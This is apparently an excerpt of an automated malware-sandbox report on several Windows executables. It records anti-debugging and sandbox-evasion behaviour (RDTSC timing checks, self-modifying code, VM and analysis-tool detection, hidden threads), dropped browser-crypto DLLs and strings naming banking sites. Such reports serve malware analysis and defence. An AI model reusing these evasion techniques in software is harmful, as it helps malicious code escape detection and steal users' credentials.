Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C94D4 second address: 6C94D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C94D8 second address: 6C94DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C94DC second address: 6C94FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA328DF73B3h 0x00000010 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C2BC2 second address: 6C2BC8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C418E second address: 6C41AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA328DF73B5h 0x0000000c rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C4B92 second address: 6C4B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C6146 second address: 6C614D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C74C9 second address: 6C74DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007FA32872BAE6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CA617 second address: 6CA620 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CA620 second address: 6CA668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 mov ebx, ecx 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FA32872BAE8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push 00000000h 0x00000027 add dword ptr [ebp+122D33D0h], eax 0x0000002d push eax 0x0000002e pushad 0x0000002f jne 00007FA32872BAECh 0x00000035 pushad 0x00000036 jl 00007FA32872BAE6h 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C9659 second address: 6C96E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FA328DF73A8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b call 00007FA328DF73AAh 0x00000030 jmp 00007FA328DF73ACh 0x00000035 pop ebx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov bx, ax 0x00000040 mov eax, dword ptr [ebp+122D0069h] 0x00000046 mov dword ptr [ebp+122D1DE1h], esi 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push ebp 0x00000051 call 00007FA328DF73A8h 0x00000056 pop ebp 0x00000057 mov dword ptr [esp+04h], ebp 0x0000005b add dword ptr [esp+04h], 0000001Bh 0x00000063 inc ebp 0x00000064 push ebp 0x00000065 ret 0x00000066 pop ebp 0x00000067 ret 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c ja 00007FA328DF73A6h 0x00000072 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C96E6 second address: 6C96EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CA7F5 second address: 6CA800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA328DF73A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CB7BA second address: 6CB85B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA32872BAEEh 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D39BDh] 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FA32872BAE8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov ebx, 33026369h 0x0000003c cld 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 sub edi, 7309DAA4h 0x0000004a mov eax, dword ptr [ebp+122D1255h] 0x00000050 or ebx, 75AFC914h 0x00000056 movzx edi, si 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push eax 0x0000005e call 00007FA32872BAE8h 0x00000063 pop eax 0x00000064 mov dword ptr [esp+04h], eax 0x00000068 add dword ptr [esp+04h], 0000001Bh 0x00000070 inc eax 0x00000071 push eax 0x00000072 ret 0x00000073 pop eax 0x00000074 ret 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 push edx 0x00000079 push ecx 0x0000007a pop ecx 0x0000007b pop edx 0x0000007c rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CB85B second address: 6CB860 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CC5F0 second address: 6CC643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1DA3h], edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FA32872BAE8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov ebx, dword ptr [ebp+122D3B1Dh] 0x00000037 push eax 0x00000038 push ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CD5EE second address: 6CD5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CF62B second address: 6CF62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6CF62F second address: 6CF633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6D065D second address: 6D0667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FA32872BAE6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6D0667 second address: 6D066B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6D066B second address: 6D0681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007FA32872BAE6h 0x00000016 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6D0681 second address: 6D06F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007FA328DF73AFh 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FA328DF73A8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 jnp 00007FA328DF73ACh 0x0000002f mov dword ptr [ebp+122D315Dh], ebx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007FA328DF73A8h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 push eax 0x00000052 pushad 0x00000053 push edi 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6D06F1 second address: 6D06FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6D166B second address: 6D1684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA328DF73B5h 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67C86C second address: 67C886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FA32872BAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d js 00007FA32872BAE6h 0x00000013 jbe 00007FA32872BAE6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67C886 second address: 67C88D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67C88D second address: 67C8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jns 00007FA32872BAEEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA32872BAEFh 0x00000018 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67C8B7 second address: 67C8C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B1F98B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B1F8F1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CCD986 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Special instruction interceptor: First address: 50ED20 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Special instruction interceptor: First address: 50EDB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Special instruction interceptor: First address: 6B2948 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Special instruction interceptor: First address: 50C63A instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Special instruction interceptor: First address: 6DBAFB instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Special instruction interceptor: First address: 740966 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EBED20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EBEDB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1062948 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EBC63A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 108BAFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10F0966 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\KKFBAAFCGI.exe

Code function: 14_2_05110AF9 rdtsc

14_2_05110AF9

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 6308	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6308	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6448	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4568	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2404	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2404	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2328	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3796	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3796	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4256	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7972	Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7972	Thread sleep time: -1320000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7972	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\KKFBAAFCGI.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C97C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C97C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: KJJJKFII.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000010.00000002.2746340415.0000000001045000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3365263750.0000000001045000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: KJJJKFII.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: KJJJKFII.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: KJJJKFII.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: KJJJKFII.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: skotes.exe, 00000011.00000002.3366797627.0000000001918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!t
Source: KJJJKFII.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2685963034.0000000001125000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3366797627.0000000001918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: KJJJKFII.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000002.2685963034.0000000001154000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl
Source: KJJJKFII.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: KJJJKFII.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: KJJJKFII.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: KJJJKFII.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: KJJJKFII.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: KJJJKFII.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: KJJJKFII.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: KJJJKFII.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: KJJJKFII.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2685963034.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: KJJJKFII.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: KJJJKFII.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: KJJJKFII.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: KJJJKFII.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: KJJJKFII.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: KJJJKFII.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2684981557.0000000000CAF000.00000040.00000001.01000000.00000003.sdmp, KKFBAAFCGI.exe, 0000000E.00000002.2717420643.0000000000695000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2747213987.0000000001045000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2746340415.0000000001045000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3365263750.0000000001045000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000011.00000002.3366797627.00000000018E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: KJJJKFII.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: KJJJKFII.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\KKFBAAFCGI.exe

